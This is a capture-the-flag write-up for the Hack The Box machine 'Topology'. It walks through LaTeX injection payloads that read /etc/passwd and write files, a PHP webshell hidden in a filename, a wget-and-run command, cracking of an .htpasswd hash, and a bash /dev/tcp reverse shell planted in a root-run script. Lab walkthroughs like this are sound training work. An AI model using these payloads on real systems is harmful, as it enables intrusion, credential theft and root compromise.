HTB: Topology - Easy
Starting note
This writeup is based on a box I completed in the past. Despite having limited notes from that time and less experience in documentation, I have attempted to provide a clear and detailed explanation of the methodology used to compromise this system. Enjoy!
Enumeration
Nmap scan:
kali@attacker:~/topology$ nmap -A 10.129.167.79 | tee topology.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 17:34 CEST
Nmap scan report for 10.129.167.79
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
| 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds
A nmap scan shows port 80 (web) and SSH are open, with SSH possibly being useful for remote access later in our attack.
Upon accessing the web service on port 80, the site presents itself with the following appearance and structure:
Further enumeration using Gobuster revealed an additional endpoint at /index.html, which appears to serve different content from the main landing page.
Upon interacting with the LaTeX Equation Generator button, we were redirected to latex.topology.htb/equation.php. After adding this hostname to our /etc/hosts file, we discovered a web application that converts text input into LaTeX format.
Exploitation
Following research into potential vulnerabilities in LaTeX input fields, I discovered relevant information in a HackTricks article:
[Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
HackTricks
](The article details a specific LaTeX payload designed to read the contents of /etc/passwd:
='file:///etc/passwd'#$passwd.A1
After submitting the initial payload to the input field which resulted in a blank response, further experimentation with various LaTeX syntax modifications was necessary. The following modified payload proved successful in revealing the contents of /etc/passwd:
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
Having successfully exploited the LaTeX injection vulnerability, the following syntax can be utilized to create files through the LaTeX interpreter:
\begin{filecontents*}{test.txt}
\title(This is a test)
\end{filecontents*}
The generated file will be created at the following path:
latex.topology.htb/tempfiles/
After determining the file creation method, the next challenge was adding content to the file. Since direct content upload proved unsuccessful, an alternative approach was discovered: embedding a PHP webshell within the filename itself:
\begin{filecontents}{<?php shell_exec($_GET['cmd']) ?>.php} randomtext \end{filecontents}
The successful payload that achieved code execution and established a reverse shell was constructed as follows:
/tempfiles/%3c%3fphp%20shell_exec($_GET%5b'cmd'%5d)%20%3f%3e.php?cmd=wget <ip>/shell.sh && chmod +x shell.sh && /bin/bash -c shell.sh
The shell is obtained as the user www-data.
Privilege Escalation
During system enumeration, we identified user vdaisy in the /etc/passwd file. Our next focus was examining the web application’s running services and searching for additional directories that might contain valuable information.
Within /var/www/dev/, we located a .htpasswd file, which typically stores encrypted credentials for HTTP basic authentication.
The .htpasswd file contained the hash: $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0.
Using hashcat with mode 1600, we successfully cracked this hash to reveal the following password:
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:c***0
After compromising user vdaisy through su with the cracked password, we conducted further enumeration using linpeas.sh. This revealed an unusual directory at /opt/gnuplot with permissions drwx-wx-wx. These permissions grant us write and execute access but no read permissions.
To monitor system commands, we deployed pspy, a non-root tool for process monitoring. The tool revealed the following command being executed:
/bin/sh /opt/gnuplot/getdata.sh
The monitoring revealed that /bin/sh is executing getdata.sh. Given our write permissions, we were able to inject our own code into this file. The following reverse shell payload was written to the file:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.102/1337 0>&1
Successfully obtained root access through the reverse shell connection, completing privilege escalation via the modified getdata.sh file.